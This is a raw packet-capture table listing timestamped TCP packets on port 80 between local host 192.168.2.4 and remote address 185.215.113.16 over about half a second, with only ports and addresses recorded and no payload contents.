Nov 23, 2024 18:22:28.159091949 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.159138918 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.159327984 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.159372091 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.163184881 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.163229942 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.163305044 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.163724899 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.167419910 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.167495012 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.167495966 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.167545080 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.171432972 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.171483994 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.171536922 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.171581030 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.175436020 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.175518990 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.175549984 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.175631046 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.179538965 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.179666042 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.179666996 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.179749966 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.183656931 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.183700085 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.183768988 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.183823109 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.187741995 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.187805891 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.187832117 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.187848091 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.191807985 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.191854954 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.191963911 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.192012072 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.195936918 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.196000099 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.196063042 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.196100950 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.199970961 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.200020075 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.200079918 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.200124025 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.204071045 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.204128027 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.204173088 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.204227924 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.257544994 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.257564068 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.257600069 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.257616997 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.259404898 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.259462118 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.259520054 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.259565115 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.263478994 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.263530016 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.263573885 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.263626099 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.267585993 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.267668009 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.267700911 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.267806053 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.271668911 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.271723032 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.271725893 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.271774054 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.282428980 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.282495022 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.282598019 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.283041954 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.284467936 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.284524918 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.284584999 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.284645081 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.288656950 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.288710117 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.288923025 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.288990021 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.292484999 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.292537928 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.292615891 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.292788029 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.296626091 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.296691895 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.296786070 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.296844006 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.300667048 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.300719976 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.300750017 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.300825119 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.304727077 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.304831028 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.304879904 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.308837891 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.308897018 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.308938980 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.308979988 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.312952995 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.313038111 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.313081026 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.383944035 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.383972883 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.384076118 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.385711908 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.385776997 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.385797977 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.385854006 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.390208006 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.390263081 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.390317917 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.393740892 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.393883944 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.393943071 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.397861958 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.397957087 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.398004055 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.401449919 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.401535988 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.401591063 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.404731035 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.404848099 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.404895067 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.408183098 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.408302069 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.408325911 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.408360958 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.411609888 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.411748886 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.411794901 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.415129900 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.415178061 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.415205956 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.415251017 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.417746067 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.417867899 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.417908907 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.420382023 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.420504093 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.420568943 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.422856092 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.422905922 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.422930002 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.422977924 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.425026894 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.425156116 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.425216913 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.427512884 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.427584887 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.427611113 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.427668095 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.429826021 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.429869890 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.429960966 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.430006981 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.432365894 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.432415962 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.432509899 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.432562113 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.434626102 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.434706926 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.434746027 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.434818983 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.437037945 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.437145948 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.437165022 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.437207937 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.439451933 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.439497948 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.439528942 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.439572096 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.441984892 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.442029953 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.442074060 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.442171097 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.444240093 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.444300890 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.444348097 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.444397926 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.446638107 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.446692944 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.446753979 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.446892977 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.449027061 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.449084044 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.449151039 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.449193954 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.451443911 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.451515913 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.451530933 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.451574087 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.453267097 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.453305960 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.453382015 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.453541040 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.455645084 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.455704927 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.455756903 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.457967043 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.458019972 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.458056927 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.458101988 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.460352898 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.460474014 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.460510015 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.460558891 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.462774038 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.462831974 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.462841988 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.462889910 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.492965937 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.493016958 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.493118048 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.493163109 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.494153976 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.494199038 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.494626045 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.494668961 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.494736910 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.494777918 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.497040033 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.497081995 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.497097969 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.497126102 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.499401093 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.499452114 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.509727955 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.509747028 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.509780884 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.509799957 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.510761976 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.510863066 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.510883093 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.510899067 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.513170004 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.513219118 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.513283014 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.513329983 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.515631914 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.515650034 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.515676022 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.515692949 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.518023014 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.518062115 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.518071890 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.518106937 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.520603895 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.520668983 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.520721912 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.520762920 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.523045063 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.523087978 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.523102045 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.523129940 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.525197983 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.525249958 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.525356054 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.525448084 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.527597904 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.527692080 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.527717113 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.527733088 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.529999018 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.530051947 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.530153036 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.530275106 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.532385111 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.532433033 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.532470942 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.532526970 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.534806013 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.534897089 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.534940958 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.537211895 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.537261963 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.537297964 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.537341118 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.539746046 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.539797068 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.539889097 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.539936066 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.543078899 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.543134928 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.543210983 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.543437004 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.545049906 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.545111895 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.545186996 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.545483112 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.547281981 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.547373056 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.547410965 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.547544956 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.550035954 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.550085068 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.550105095 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.550168991 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.551877022 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.551932096 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.551992893 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.554397106 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.554447889 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.554455042 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.554497957 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.556402922 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.556453943 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.556515932 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.556560040 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.558854103 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.558902025 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.558938026 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.558984995 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.561217070 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.561266899 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.561319113 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.561367035 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.563606024 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.563657999 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.563725948 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.563781977 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.566827059 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.566879988 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.566947937 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.566994905 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.568413973 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.568464041 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.568579912 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.568634987 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.570869923 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.570916891 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.570918083 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.570960045 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.573247910 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.573298931 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.573362112 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.573411942 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.575633049 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.575689077 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.575726032 CET	80	49800	185.215.113.16	192.168.2.4
